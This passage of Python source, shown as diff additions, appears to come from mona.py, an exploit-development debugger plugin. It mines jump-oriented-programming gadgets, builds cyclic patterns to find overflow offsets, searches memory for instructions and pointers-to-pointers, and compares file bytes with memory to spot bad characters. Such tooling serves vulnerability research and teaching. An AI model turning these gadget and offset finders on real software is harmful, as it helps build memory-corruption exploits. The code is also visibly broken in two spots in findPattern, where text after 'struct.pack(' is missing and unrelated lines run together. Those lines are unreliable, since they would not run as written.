dbg.disasmBackward(endingtypeptr,depth+1) + thisptr = thisopcode.getAddress() + # we now have a range to mine + startptr = thisptr + + while startptr <= endingtypeptr and startptr != 0x0: + # get the entire chain from startptr to endingtypeptr + thischain = "" + msfchain = [] + thisopcodebytes = "" + chainptr = startptr + if isGoodGadgetPtr(startptr,criteria) and not startptr in jopgadgets and not startptr in interestinggadgets: + # new pointer + invalidinstr = False + while chainptr < endingtypeptr and not invalidinstr: + thisopcode = dbg.disasm(chainptr) + thisinstruction = getDisasmInstruction(thisopcode) + if isGoodJopGadgetInstr(thisinstruction) and not isGadgetEnding(thisinstruction,search): + thischain = thischain + " # " + thisinstruction + msfchain.append([chainptr,thisinstruction]) + thisopcodebytes = thisopcodebytes + opcodesToHex(thisopcode.getDump().lower()) + chainptr = dbg.disasmForwardAddressOnly(chainptr,1) + else: + invalidinstr = True + if endingtypeptr == chainptr and startptr != chainptr and not invalidinstr: + fullchain = thischain + " # " + endingtype + msfchain.append([endingtypeptr,endingtype]) + thisopcode = dbg.disasm(endingtypeptr) + thisopcodebytes = thisopcodebytes + opcodesToHex(thisopcode.getDump().lower()) + msfchain.append(["raw",thisopcodebytes]) + if isInterestingJopGadget(fullchain): + interestinggadgets[startptr] = fullchain + else: + if not fast: + jopgadgets[startptr] = fullchain + startptr = startptr+1 + + thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p") + updatetext = " - Progress update : " + str(tp) + " / " + str(tp) + " items processed (" + thistimestamp + ") - (100%)" + objprogressfile.write(updatetext.strip(),progressfile) + dbg.log(updatetext) + dbg.updateLog() + + logfile = MnLog("jop.txt") + thislog = logfile.reset() + objprogressfile.write("Enumerating gadgets",progressfile) + dbg.log("[+] Writing results to file " + thislog + " (" + str(len(interestinggadgets))+" interesting gadgets)") + logfile.write("Interesting gadgets",thislog) + logfile.write("-------------------",thislog) + dbg.updateLog() + arrtowrite = "" + try: + with open(thislog, "a") as fh: + arrtowrite = "" + for gadget in interestinggadgets: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + modinfo = MnModule(modname) + ptrinfo = "0x" + toHex(gadget) + " : " + interestinggadgets[gadget] + " ** " + modinfo.__str__() + " ** | " + ptrx.__str__()+"\n" + arrtowrite += ptrinfo + objprogressfile.write("Writing results to file " + thislog + " (" + str(len(interestinggadgets))+" interesting gadgets)",progressfile) + fh.writelines(arrtowrite) + except: + pass + + return interestinggadgets,jopgadgets,suggestions,vplogtxt + + + #----- File compare ----- # + +def findFILECOMPARISON(modulecriteria={},criteria={},allfiles=[],tomatch="",checkstrict=True,rangeval=0,fast=False): + """ + Compares two or more files generated with mona.py and lists the entries that have been found in all files + + Arguments: + modulecriteria = not used + criteria = not used + allfiles = array with filenames to compare + tomatch = variable containing a string each line should contain + checkstrict = Boolean, when set to True, both the pointer and the instructions should be exactly the same + + Return: + File containing all matching pointers + """ + dbg.setStatusBar("Comparing files...") + dbg.updateLog() + + filenotfound = False + for fcnt in xrange(len(allfiles)): + fname = allfiles[fcnt] + fname = fname.strip() + if os.path.exists(fname): + dbg.log(" - %d. %s" % (fcnt, allfiles[fcnt])) + else: + dbg.log(" ** %s : Does not exist !" % allfiles[fcnt], highlight=1) + filenotfound = True + if filenotfound: + return + objcomparefile = MnLog("filecompare.txt") + comparefile = objcomparefile.reset() + objcomparefilenot = MnLog("filecompare_not.txt") + comparefilenot = objcomparefilenot.reset() + objcomparefilenot.write("Source files:",comparefilenot) + for fcnt in xrange(len(allfiles)): + objcomparefile.write(" - " + str(fcnt)+". "+allfiles[fcnt],comparefile) + objcomparefilenot.write(" - " + str(fcnt)+". "+allfiles[fcnt],comparefilenot) + objcomparefile.write("",comparefile) + objcomparefile.write("Pointers found :",comparefile) + objcomparefile.write("----------------",comparefile) + objcomparefilenot.write("",comparefilenot) + objcomparefilenot.write("Pointers not found :",comparefilenot) + objcomparefilenot.write("-------------------",comparefilenot) + + # transform the files into dictionaries + dbg.log("[+] Reading input files ...") + all_input_files = {} + all_pointers = {} + fcnt = 0 + for thisfile in allfiles: + filedata = {} + content = [] + with open(thisfile,"rb") as inputfile: + content = inputfile.readlines() + pointerlist = [] + for thisLine in content: + refpointer,instr = splitToPtrInstr(thisLine) + instr = instr.replace('\n','').replace('\r','').strip(":") + if refpointer != -1 and not refpointer in filedata: + filedata[refpointer] = instr + pointerlist.append(refpointer) + all_input_files[fcnt] = filedata + all_pointers[fcnt] = pointerlist + fcnt += 1 + # select smallest one + dbg.log("[+] Finding shortest array, to use as the reference") + shortestarray = 0 + shortestlen = 0 + for inputfile in all_input_files: + if (len(all_input_files[inputfile]) < shortestlen) or (shortestlen == 0): + shortestlen = len(all_input_files[inputfile]) + shortestarray = inputfile + dbg.log(" Reference file: %s (%d pointers)" % (allfiles[shortestarray],shortestlen)) + + fileorder = [] + fileorder.append(shortestarray) + cnt = 0 + while cnt <= len(all_input_files): + if not cnt in fileorder: + fileorder.append(cnt) + cnt += 1 + remaining = [] + fulllist = [] + if rangeval == 0: + dbg.log("[+] Starting compare, please wait...") + dbg.updateLog() + fcnt = 1 + remaining = all_pointers[shortestarray] + fulllist = all_pointers[shortestarray] + while fcnt < len(fileorder)-1 and len(remaining) > 0: + dbg.log(" Comparing %d reference pointers with %s" % (len(remaining),allfiles[fileorder[fcnt]])) + remaining = list(set(remaining).intersection(set(all_pointers[fileorder[fcnt]]))) + fulllist = list(set(fulllist).union(set(all_pointers[fileorder[fcnt]]))) + fcnt += 1 + else: + dbg.log("[+] Exploding reference list with values within range") + dbg.updateLog() + # create first reference list with ALL pointers within the range + allrefptr = [] + reflist = all_pointers[shortestarray] + for refptr in reflist: + start_range = refptr - rangeval + if start_range < 0: + start_range = 0 + end_range = refptr + rangeval + if start_range > end_range: + tmp = start_range + start_range = end_range + end_range = tmp + while start_range <= end_range: + if not start_range in allrefptr: + allrefptr.append(start_range) + start_range += 1 + # do normal intersection + dbg.log("[+] Starting compare, please wait...") + dbg.updateLog() + s_remaining = allrefptr + s_fulllist = allrefptr + fcnt = 1 + while fcnt < len(fileorder)-1 and len(s_remaining) > 0: + s_remaining = list(set(s_remaining).intersection(set(all_pointers[fileorder[fcnt]]))) + s_fulllist = list(set(s_fulllist).union(set(all_pointers[fileorder[fcnt]]))) + fcnt += 1 + for s in s_remaining: + if not s in remaining: + remaining.append(s) + for s in s_fulllist: + if not s in fulllist: + fulllist.append(s) + + nonmatching = list(set(fulllist) - set(remaining)) + dbg.log(" Total nr of unique pointers : %d" % len(fulllist)) + dbg.log(" Nr of matching pointers before filtering : %d" % len(remaining)) + dbg.log(" Nr of non-matching pointers before filtering : %d" % len(nonmatching)) + + dbg.log("[+] Transforming results into output...") + outputlines = "" + outputlines_not = "" + # start building output + remaining.sort() + for remptr in remaining: + if fast: + outputlines += "0x%08x\n" % remptr + else: + thisinstr = all_input_files[shortestarray][remptr] + include = True + if checkstrict: + # check if all entries are the same + fcnt = 1 + while (fcnt < len(fileorder)-1) and include: + if thisinstr != all_input_files[fileorder[fcnt]][remptr]: + include = False + fcnt += 1 + else: + include = True + if include and (tomatch == "" or tomatch in thisinstr): + outputlines += "0x%08x : %s\n" % (remptr,thisinstr) + + for nonptr in nonmatching: + if fast: + outputlines_not += "0x%08x\n" % nonptr + else: + thisinstr = "" + if nonptr in all_input_files[shortestarray]: + thisinstr = all_input_files[shortestarray][nonptr] + outputlines_not += "File(%d) 0x%08x : %s\n" % (shortestarray,nonptr,thisinstr) + for fileindex in all_input_files: + if fileindex != shortestarray: + these_entries = all_input_files[fileindex] + if nonptr in these_entries: + thisinstr = these_entries[nonptr] + outputlines_not += " File (%d). %s\n" % (fileindex,thisinstr) + else: + outputlines_not += " File (%d). Entry not found \n" % fileindex + + dbg.log("[+] Writing output to files") + objcomparefile.write(outputlines, comparefile) + objcomparefilenot.write(outputlines_not, comparefilenot) + nrmatching = len(outputlines.split("\n")) - 1 + dbg.log(" Wrote %d matching pointers to file" % nrmatching) + + dbg.log("[+] Done.") + return + + + +#------------------# +# Heap state # +#------------------# + +def getCurrentHeapState(): + heapstate = {} + allheaps = [] + try: + allheaps = dbg.getHeapsAddress() + except: + allheaps = [] + if len(allheaps) > 0: + for heap in allheaps: + objHeap = MnHeap(heap) + thisheapstate = objHeap.getState() + heapstate[heap] = thisheapstate + return heapstate + +#------------------# +# Cyclic pattern # +#------------------# + +def createPattern(size,args={}): + """ + Create a cyclic (metasploit) pattern of a given size + + Arguments: + size - value indicating desired length of the pattern + if value is > 20280, the pattern will repeat itself until it reaches desired length + + Return: + string containing the cyclic pattern + """ + char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ" + char2="abcdefghijklmnopqrstuvwxyz" + char3="0123456789" + + if "extended" in args: + char3 += ",.;+=-_!&()#@({})[]%" # ascii, 'filename' friendly + + if "c1" in args and args["c1"] != "": + char1 = args["c1"] + if "c2" in args and args["c2"] != "": + char2 = args["c2"] + if "c3" in args and args["c3"] != "": + char3 = args["c3"] + + if not silent: + if not "extended" in args and size > 20280 and (len(char1) <= 26 or len(char2) <= 26 or len(char3) <= 10): + msg = "** You have asked to create a pattern > 20280 bytes, but with the current settings\n" + msg += "the pattern generator can't create a pattern of " + str(size) + " bytes. As a result,\n" + msg += "the pattern will be repeated for " + str(size-20280)+" bytes until it reaches a length of " + str(size) + " bytes.\n" + msg += "If you want a unique pattern larger than 20280 bytes, please either use the -extended option\n" + msg += "or extend one of the 3 charsets using options -c1, -c2 and/or -c3 **\n" + dbg.logLines(msg,highlight=1) + + + pattern = [] + max = int(size) + while len(pattern) < max: + for ch1 in char1: + for ch2 in char2: + for ch3 in char3: + if len(pattern) < max: + pattern.append(ch1) + + if len(pattern) < max: + pattern.append(ch2) + + if len(pattern) < max: + pattern.append(ch3) + + pattern = "".join(pattern) + return pattern + +def findOffsetInPattern(searchpat,size=20280,args = {}): + """ + Check if a given searchpattern can be found in a cyclic pattern + + Arguments: + searchpat : the ascii value or hexstr to search for + + Return: + entries in the log window, indicating if the pattern was found and at what position + """ + mspattern="" + + + searchpats = [] + modes = [] + modes.append("normal") + modes.append("upper") + modes.append("lower") + extratext = "" + + patsize=int(size) + + if patsize == -1: + size = 500000 + patsize = size + + global silent + oldsilent=silent + + for mode in modes: + silent=oldsilent + if mode == "normal": + silent=True + mspattern=createPattern(size,args) + silent=oldsilent + extratext = " " + elif mode == "upper": + silent=True + mspattern=createPattern(size,args).upper() + silent=oldsilent + extratext = " (uppercase) " + elif mode == "lower": + silent=True + mspattern=createPattern(size,args).lower() + silent=oldsilent + extratext = " (lowercase) " + if len(searchpat)==3: + #register ? + searchpat = searchpat.upper() + regs = dbg.getRegs() + if searchpat in regs: + searchpat = "0x" + toHex(regs[searchpat]) + if len(searchpat)==4: + ascipat=searchpat + if not silent: + dbg.log("Looking for %s in pattern of %d bytes" % (ascipat,patsize)) + if ascipat in mspattern: + patpos = mspattern.find(ascipat) + if not silent: + dbg.log(" - Pattern %s found in cyclic pattern%sat position %d" % (ascipat,extratext,patpos),highlight=1) + else: + #reversed ? + ascipat_r = ascipat[3]+ascipat[2]+ascipat[1]+ascipat[0] + if ascipat_r in mspattern: + patpos = mspattern.find(ascipat_r) + if not silent: + dbg.log(" - Pattern %s (%s reversed) found in cyclic pattern%sat position %d" % (ascipat_r,ascipat,extratext,patpos),highlight=1) + else: + if not silent: + dbg.log(" - Pattern %s not found in cyclic pattern%s" % (ascipat_r,extratext)) + if len(searchpat)==8: + searchpat="0x"+searchpat + if len(searchpat)==10: + hexpat=searchpat + ascipat3 = toAscii(hexpat[8]+hexpat[9])+toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5])+toAscii(hexpat[2]+hexpat[3]) + if not silent: + dbg.log("Looking for %s in pattern of %d bytes" % (ascipat3,patsize)) + if ascipat3 in mspattern: + patpos = mspattern.find(ascipat3) + if not silent: + dbg.log(" - Pattern %s (%s) found in cyclic pattern%sat position %d" % (ascipat3,hexpat,extratext,patpos),highlight=1) + else: + #maybe it's reversed + ascipat4=toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[4]+hexpat[5])+toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[8]+hexpat[9]) + if not silent: + dbg.log("Looking for %s in pattern of %d bytes" % (ascipat4,patsize)) + if ascipat4 in mspattern: + patpos = mspattern.find(ascipat4) + if not silent: + dbg.log(" - Pattern %s (%s reversed) found in cyclic pattern%sat position %d" % (ascipat4,hexpat,extratext,patpos),highlight=1) + else: + if not silent: + dbg.log(" - Pattern %s not found in cyclic pattern%s " % (ascipat4,extratext)) + + +def findPatternWild(modulecriteria,criteria,pattern,base,top,patterntype): + """ + Performs a search for instructions, accepting wildcards + + Arguments : + modulecriteria - dictionary with criteria modules need to comply with. + criteria - dictionary with criteria the pointers need to comply with. + pattern - the pattern to search for. + base - the base address in memory the search should start at + top - the top address in memory the search should not go beyond + patterntype - type of search to conduct (str or bin) + """ + + global silent + + rangestosearch = [] + tmpsearch = [] + + allpointers = {} + results = {} + + mindistance = 4 + maxdistance = 40 + + if "mindistance" in criteria: + mindistance = criteria["mindistance"] + if "maxdistance" in criteria: + maxdistance = criteria["maxdistance"] + + maxdepth = 8 + + preventbreak = True + + if "all" in criteria: + preventbreak = False + + if "depth" in criteria: + maxdepth = criteria["depth"] + + if not silent: + dbg.log("[+] Type of search: %s" % patterntype) + dbg.log("[+] Searching for matches up to %d instructions deep" % maxdepth) + + if len(modulecriteria) > 0: + modulestosearch = getModulesToQuery(modulecriteria) + # convert modules to ranges + for modulename in modulestosearch: + objmod = MnModule(modulename) + mBase = objmod.moduleBase + mTop = objmod.moduleTop + if mBase < base and base < mTop: + mBase = base + if mTop > top: + mTop = top + if mBase >= base and mBase < top: + if not [mBase,mTop] in rangestosearch: + rangestosearch.append([mBase,mTop]) + # if no modules were specified, then also add the other ranges (outside modules) + if not "modules" in modulecriteria: + outside = getRangesOutsideModules() + for range in outside: + mBase = range[0] + mTop = range[1] + if mBase < base and base < mTop: + mBase = base + if mTop > top: + mTop = top + if mBase >= base and mBase < top: + if not [mBase,mTop] in rangestosearch: + rangestosearch.append([mBase,mTop]) + else: + rangestosearch.append([base,top]) + + pattern = pattern.replace("'","").replace('"',"").replace(" "," ").replace(", ",",").replace(" ,",",").replace("# ","#").replace(" #","#") + if len(pattern) == 0: + dbg.log("** Invalid search pattern **") + return + + # break apart the instructions + # search for the first instruction(s) + allinstructions = pattern.split("#") + instructionparts = [] + instrfound = False + for instruction in allinstructions: + instruction = instruction.strip().lower() + if instrfound and instruction != "": + instructionparts.append(instruction) + else: + if instruction != "*" and instruction != "": + instructionparts.append(instruction) + instrfound = True + + # remove wildcards placed at the end + for i in rrange(len(instructionparts)): + if instructionparts[i] == "*": + instructionparts.pop(i) + else: + break + + # glue simple instructions together if possible + # reset array + allinstructions = [] + stopnow = False + mergeinstructions = [] + mergestopped = False + mergetxt = "" + for instr in instructionparts: + if instr.find("*") == -1 and instr.find("r32") == -1 and not mergestopped: + mergetxt += instr + "\n" + else: + allinstructions.append(instr) + mergestopped = True + mergetxt = mergetxt.strip("\n") + + searchPattern = [] + remaining = allinstructions + + if mergetxt != "": + searchPattern.append(mergetxt) + else: + # at this point, we're sure the first instruction has some kind of r32 and/or offset variable + # get all of the combinations for this one + # and use them as searchPattern + cnt = 0 + stopped = False + for instr in allinstructions: + if instr != "*" and (instr.find("r32") > -1 or instr.find("*") > -1) and not stopped: + if instr.find("r32") > -1: + for reg in dbglib.Registers32BitsOrder: + thisinstr = instr.replace("r32",reg.lower()) + if instr.find("*") > -1: + # contains a wildcard offset + startdist = mindistance + while startdist < maxdistance: + operator = "" + if startdist < 0: + operator = "-" + replacewith = operator + "0x%02x" % startdist + thisinstr2 = thisinstr.replace("*",replacewith) + searchPattern.append(thisinstr2) + startdist += 1 + else: + searchPattern.append(thisinstr) + else: + # no r32 + if instr.find("*") > -1: + # contains a wildcard offset + startdist = mindistance + while startdist < maxdistance: + operator = "" + if startdist < 0: + operator = "-" + replacewith = operator + "0x%02x" % startdist + thisinstr2 = instr.replace("*",replacewith) + searchPattern.append(thisinstr2) + startdist += 1 + else: + searchPattern.append(instr) + remaining.pop(cnt) + stopped = True + cnt += 1 + + # search for all these beginnings + if len(searchPattern) > 0: + if not silent: + dbg.log("[+] Started search (%d start patterns)" % len(searchPattern)) + dbg.updateLog() + for ranges in rangestosearch: + mBase = ranges[0] + mTop = ranges[1] + if not silent: + dbg.log("[+] Searching startpattern between 0x%s and 0x%s" % (toHex(mBase),toHex(mTop))) + dbg.updateLog() + oldsilent=silent + silent=True + pointers = searchInRange(searchPattern,mBase,mTop,criteria) + silent=oldsilent + allpointers = mergeOpcodes(allpointers,pointers) + + # for each of the findings, see if it contains the other instructions too + # disassemble forward up to 'maxdepth' instructions + + for ptrtypes in allpointers: + for ptrs in allpointers[ptrtypes]: + thisline = "" + try: + for depth in xrange(maxdepth): + tinstr = getDisasmInstruction(dbg.disasmForward(ptrs, depth)).lower() + "\n" + if tinstr != "???": + thisline += tinstr + else: + thisline = "" + break + except: + continue + allfound = True + thisline = thisline.strip("\n") + + if thisline != "": + parts = thisline.split("\n") + maxparts = len(parts)-1 + partcnt = 1 + searchfor = "" + remcnt = 0 + lastpos = 0 + remmax = len(remaining) + while remcnt < remmax: + + searchfor = remaining[remcnt] + + searchlist = [] + if searchfor == "*": + while searchfor == "*" and remcnt < remmax: + searchfor = remaining[remcnt+1] + rangemin = partcnt + rangemax = maxparts + remcnt += 1 + + else: + rangemin = partcnt + rangemax = partcnt + + if searchfor.find("r32") > -1: + for reg in dbglib.Registers32BitsOrder: + searchlist.append(searchfor.replace("r32",reg.lower())) + else: + searchlist.append(searchfor) + + partfound = False + + while rangemin <= rangemax and not partfound and rangemax <= maxparts: + for searchfor in searchlist: + if parts[rangemin].find(searchfor) > -1: + partfound = True + lastpos = rangemin + partcnt = lastpos # set counter to current position + break + if not partfound and preventbreak: + #check if current instruction would break chain + if wouldBreakChain(parts[rangemin]): + # bail out + partfound = False + break + rangemin += 1 + + remcnt += 1 + partcnt += 1 + + if not partfound: + allfound = False + break + + + if allfound: + theline = " # ".join(parts[:lastpos+1]) + if theline != "": + if not theline in results: + results[theline] = [ptrs] + else: + results[theline] += [ptrs] + return results + + +def wouldBreakChain(instruction): + """ + Checks if the given instruction would potentially break the instruction chain + Argument : + instruction: the instruction to check + + Returns : + boolean + """ + goodinstruction = isGoodGadgetInstr(instruction) + if goodinstruction: + return False + return True + + +def findPattern(modulecriteria,criteria,pattern,ptype,base,top,consecutive=False,rangep2p=0,level=0,poffset=0,poffsetlevel=0): + """ + Performs a find in memory for a given pattern + + Arguments: + modulecriteria - dictionary with criteria modules need to comply with. + criteria - dictionary with criteria the pointers need to comply with. + One of the criteria can be "p2p", indicating that the search should look for + pointers to pointers to the pattern + pattern - the pattern to search for. + ptype - the type of the pattern, can be 'asc', 'bin', 'ptr', 'instr' or 'file' + If no type is specified, the routine will try to 'guess' the types + when type is set to file, it won't actually search in memory for pattern, but it will + read all pointers from that file and search for pointers to those pointers + (so basically, type 'file' is only useful in combination with -p2p) + base - the base address in memory the search should start at + top - the top address in memory the search should not go beyond + consecutive - Boolean, indicating if consecutive pointers should be skipped + rangep2p - if not set to 0, the pointer to pointer search will also look rangep2p bytes back for each pointer, + thus allowing you to find close pointer to pointers + poffset - only used when doing p2p, will add offset to found pointer address before looking to ptr to ptr + poffsetlevel - apply the offset at this level of the chain + level - number of levels deep to look for ptr to ptr. level 0 is default, which means search for pointer to searchpattern + + Return: + all pointers (or pointers to pointers) to the given search pattern in memory + """ + + wildcardsearch = False + rangestosearch = [] + tmpsearch = [] + p2prangestosearch = [] + global silent + if len(modulecriteria) > 0: + modulestosearch = getModulesToQuery(modulecriteria) + # convert modules to ranges + for modulename in modulestosearch: + objmod = MnModule(modulename) + mBase = objmod.moduleBase + mTop = objmod.moduleTop + if mBase < base and base < mTop: + mBase = base + if mTop > top: + mTop = top + if mBase >= base and mBase < top: + if not [mBase,mTop] in rangestosearch: + rangestosearch.append([mBase,mTop]) + # if no modules were specified, then also add the other ranges (outside modules) + if not "modules" in modulecriteria: + outside = getRangesOutsideModules() + for range in outside: + mBase = range[0] + mTop = range[1] + if mBase < base and base < mTop: + mBase = base + if mTop > top: + mTop = top + if mBase >= base and mBase < top: + if not [mBase,mTop] in rangestosearch: + rangestosearch.append([mBase,mTop]) + else: + rangestosearch.append([base,top]) + + tmpsearch.append([0,TOP_USERLAND]) + + allpointers = {} + originalPattern = pattern + + # guess the type if it is not specified + if ptype == "": + if len(pattern) > 2 and pattern[0:2].lower() == "0x": + ptype = "ptr" + elif "\\x" in pattern: + ptype = "bin" + else: + ptype = "asc" + + if ptype == "bin" and ".." in pattern: + wildcardsearch = True + if not silent: + dbg.log(" - Wildcard \\x.. detected") + + if "unic" in criteria and ptype == "asc": + ptype = "bin" + binpat = "" + pattern = pattern.replace('"',"") + for thischar in pattern: + binpat += "\\x" + str(toHexByte(ord(thischar))) + "\\x00" + pattern = binpat + originalPattern += " (unicode)" + if not silent: + dbg.log(" - Expanded ascii pattern to unicode, switched search mode to bin") + + bytes = "" + patternfilename = "" + split1 = re.compile(' ') + split2 = re.compile(':') + split3 = re.compile("\*") + + if not silent: + dbg.log(" - Treating search pattern as %s" % ptype) + + if ptype == "ptr": + pattern = pattern.replace("0x","") + value = int(pattern,16) + bytes = struct.pack(' 3 and pattern[2:4] == "..": + dbg.log(" *** Can't start a wildcard search with a wildcard. Specify a byte instead ***",highlight =1) + return + else: + # search for the first byte and then check wildcards later + foundstartbytes = False + sindex = 0 + while not foundstartbytes: + b = pattern[sindex:sindex+4] + if not ".." in b: + bytes += hex2bin(pattern[sindex:sindex+4]) + else: + foundstartbytes = True + sindex += 4 + + elif ptype == "asc": + if pattern.startswith('"') and pattern.endswith('"'): + pattern = pattern.replace('"',"") + elif pattern.startswith("'") and pattern.endswith("'"): + pattern = pattern.replace("'","") + bytes = pattern + elif ptype == "instr": + pattern = pattern.replace("'","").replace('"',"").replace(" "," ").replace(", ",",").replace(" #","#").replace("# ","#") + silent = True + bytes = hex2bin(assemble(pattern,"")) + silent = False + if bytes == "": + dbg.log("Invalid instruction - could not assemble %s" % pattern,highlight=1) + return + elif ptype == "file": + patternfilename = pattern.replace("'","").replace('"',"") + dbg.log(" - Search patterns = all pointers in file %s" % patternfilename) + dbg.log(" Extracting pointers...") + FILE=open(patternfilename,"r") + contents = FILE.readlines() + FILE.close() + extracted = 0 + for thisLine in contents: + if thisLine.lower().startswith("0x"): + lineparts=split1.split(thisLine) + thispointer = lineparts[0] + #get type = from : to * + if len(lineparts) > 1: + subparts = split2.split(thisLine) + if len(subparts) > 1: + if subparts[1] != "": + subsubparts = split3.split(subparts[1]) + if not subsubparts[0] in allpointers: + allpointers[subsubparts[0]] = [hexStrToInt(thispointer)] + else: + allpointers[subsubparts[0]] += [hexStrToInt(thispointer)] + extracted += 1 + dbg.log(" %d pointers extracted." % extracted) + dbg.updateLog() + + fakeptrcriteria = {} + + fakeptrcriteria["accesslevel"] = "*" + + if "p2p" in criteria or level > 0: + #save range for later, search in all of userland for now + p2prangestosearch = rangestosearch + rangestosearch = tmpsearch + + if ptype != "file": + for ranges in rangestosearch: + mBase = ranges[0] + mTop = ranges[1] + if not silent: + dbg.log("[+] Searching from 0x%s to 0x%s" % (toHex(mBase),toHex(mTop))) + dbg.updateLog() + searchPattern = [] + searchPattern.append([originalPattern, bytes]) + oldsilent=silent + silent=True + pointers = searchInRange(searchPattern,mBase,mTop,criteria) + silent=oldsilent + allpointers = mergeOpcodes(allpointers,pointers) + + # filter out bad ones if wildcardsearch is enabled + if wildcardsearch and ptype == "bin": + nrbytes = ( len(pattern) / 4) - len(bytes) + if nrbytes > 0: + maskpart = pattern[len(bytes)*4:] + tocomparewith_tmp = maskpart.split("\\x") + tocomparewith = [] + for tcw in tocomparewith_tmp: + if len(tcw) == 2: + tocomparewith.append(tcw) + dbg.log("[+] Applying wildcard mask, %d remaining bytes: %s" % (nrbytes,maskpart)) + remptrs = {} + for ptrtype in allpointers: + for ptr in allpointers[ptrtype]: + rfrom = ptr + len(bytes) + bytesatlocation = dbg.readMemory(rfrom,nrbytes) + #dbg.log("Read %d bytes from 0x%08x" % (len(bytesatlocation),rfrom)) + compareindex = 0 + wildcardmatch = True + for thisbyte in bytesatlocation: + thisbytestr = bin2hexstr(thisbyte).replace("\\x","") + thisbytecompare = tocomparewith[compareindex] + if thisbytecompare != ".." and thisbytestr.lower() != thisbytecompare.lower(): + wildcardmatch=False + break + compareindex += 1 + if wildcardmatch: + if not ptrtype in remptrs: + remptrs[ptrtype] = [ptr] + else: + remptrs[ptrtype].append(ptr) + + allpointers = remptrs + + if ptype == "file" and level == 0: + level = 1 + + if consecutive: + # get all pointers and sort them + rawptr = {} + for ptrtype in allpointers: + for ptr in allpointers[ptrtype]: + if not ptr in rawptr: + rawptr[ptr]=ptrtype + if not silent: + dbg.log("[+] Number of pointers to process : %d" % len(rawptr)) + sortedptr = rawptr.items() + sortedptr.sort(key = itemgetter(0)) + #skip consecutive ones and increment size + consec_delta = len(bytes) + previousptr = 0 + savedptr = 0 + consec_size = 0 + allpointers = {} + for ptr,ptrinfo in sortedptr: + if previousptr == 0: + previousptr = ptr + savedptr = ptr + if previousptr != ptr: + if ptr <= (previousptr + consec_delta): + previousptr = ptr + else: + key = ptrinfo + " ("+ str(previousptr+consec_delta-savedptr) + ")" + if not key in allpointers: + allpointers[key] = [savedptr] + else: + allpointers[key] += [savedptr] + previousptr = ptr + savedptr = ptr + + #recursive search ? + if len(allpointers) > 0: + remainingpointers = allpointers + if level > 0: + thislevel = 1 + while thislevel <= level: + if not silent: + pcnt = 0 + for ptype,ptrs in remainingpointers.iteritems(): + for ptr in ptrs: + pcnt += 1 + dbg.log("[+] %d remaining types found at this level, total of %d pointers" % (len(remainingpointers),pcnt)) + dbg.log("[+] Looking for pointers to pointers, level %d..." % thislevel) + poffsettxt = "" + if thislevel == poffsetlevel: + dbg.log(" I will apply offset %d (decimal) to discovered pointers to pointers..." % poffset) + poffsettxt = "%d(%xh)" % (poffset,poffset) + dbg.updateLog() + searchPattern = [] + foundpointers = {} + for ptype,ptrs in remainingpointers.iteritems(): + for ptr in ptrs: + cnt = 0 + #if thislevel == poffsetlevel: + # ptr = ptr + poffset + while cnt <= rangep2p: + bytes = struct.pack(' ptr to " + originalPattern + ") ** ", bytes]) + else: + searchPattern.append(["ptr" + poffsettxt + " to 0x" + toHex(ptr-cnt) +" (-> close ptr to " + originalPattern + ") ** ", bytes]) + cnt += 1 + #only apply rangep2p in level 1 + if thislevel == 1: + rangep2p = 0 + remainingpointers = {} + for ranges in p2prangestosearch: + mBase = ranges[0] + mTop = ranges[1] + if not silent: + dbg.log("[+] Searching from 0x%s to 0x%s" % (toHex(mBase),toHex(mTop))) + dbg.updateLog() + oldsilent = silent + silent=True + pointers = searchInRange(searchPattern,mBase,mTop,fakeptrcriteria) + silent=oldsilent + for ptrtype in pointers: + if not ptrtype in remainingpointers: + if poffsetlevel == thislevel: + # fixup found pointers, apply offset now + ptrlist = [] + for thisptr in pointers[ptrtype]: + thisptr = thisptr + poffset + ptrlist.append(thisptr) + pointers[ptrtype] = ptrlist + remainingpointers[ptrtype] = pointers[ptrtype] + thislevel += 1 + if len(remainingpointers) == 0: + if not silent: + dbg.log("[+] No more pointers left, giving up...", highlight=1) + break + allpointers = remainingpointers + + return allpointers + + +def compareFileWithMemory(filename,startpos,skipmodules=False,findunicode=False): + dbg.log("[+] Reading file %s..." % filename) + srcdata_normal=[] + srcdata_unicode=[] + tagresults=[] + criteria = {} + criteria["accesslevel"] = "*" + try: + srcfile = open(filename,"rb") + content = srcfile.readlines() + srcfile.close() + for eachLine in content: + srcdata_normal += eachLine + for eachByte in srcdata_normal: + eachByte+=struct.pack('B', 0) + srcdata_unicode += eachByte + dbg.log(" Read %d bytes from file" % len(srcdata_normal)) + except: + dbg.log("Error while reading file %s" % filename, highlight=1) + return + # loop normal and unicode + comparetable=dbg.createTable('mona Memory comparison results',['Address','Status','BadChars','Type','Location']) + modes = ["normal", "unicode"] + if not findunicode: + modes.remove("unicode") + objlogfile = MnLog("compare.txt") + logfile = objlogfile.reset() + for mode in modes: + if mode == "normal": + srcdata = srcdata_normal + if mode == "unicode": + srcdata = srcdata_unicode + maxcnt = len(srcdata) + if maxcnt < 8: + dbg.log("Error - file does not contain enough bytes (min 8 bytes needed)",highlight=1) + return + locations = [] + if startpos == 0: + dbg.log("[+] Locating all copies in memory (%s)" % mode) + btcnt = 0 + cnt = 0 + linecount = 0 + hexstr = "" + hexbytes = "" + for eachByte in srcdata: + if cnt < 8: + hexbytes += eachByte + if len((hex(ord(srcdata[cnt]))).replace('0x',''))==1: + hexchar=hex(ord(srcdata[cnt])).replace('0x', '\\x0') + else: + hexchar = hex(ord(srcdata[cnt])).replace('0x', '\\x') + hexstr += hexchar + cnt += 1 + dbg.log(" - searching for "+hexstr) + global silent + silent = True + results = findPattern({},criteria,hexstr,"bin",0,TOP_USERLAND,False) + + for type in results: + for ptr in results[type]: + ptrinfo = MnPointer(ptr).memLocation() + if not skipmodules or (skipmodules and (ptrinfo in ["Heap","Stack","??"])): + locations.append(ptr) + if len(locations) == 0: + dbg.log(" Oops, no copies found") + else: + startpos_fixed = startpos + locations.append(startpos_fixed) + if len(locations) > 0: + dbg.log(" - Comparing %d location(s)" % (len(locations))) + dbg.log("Comparing bytes from file with memory :") + for location in locations: + memcompare(location,srcdata,comparetable,mode, smart=(mode == 'normal')) + silent = False + return + +def memoized(func): + ''' A function decorator to make a function cache it's return values. + If a function returns a generator, it's transformed into a list and + cached that way. ''' + 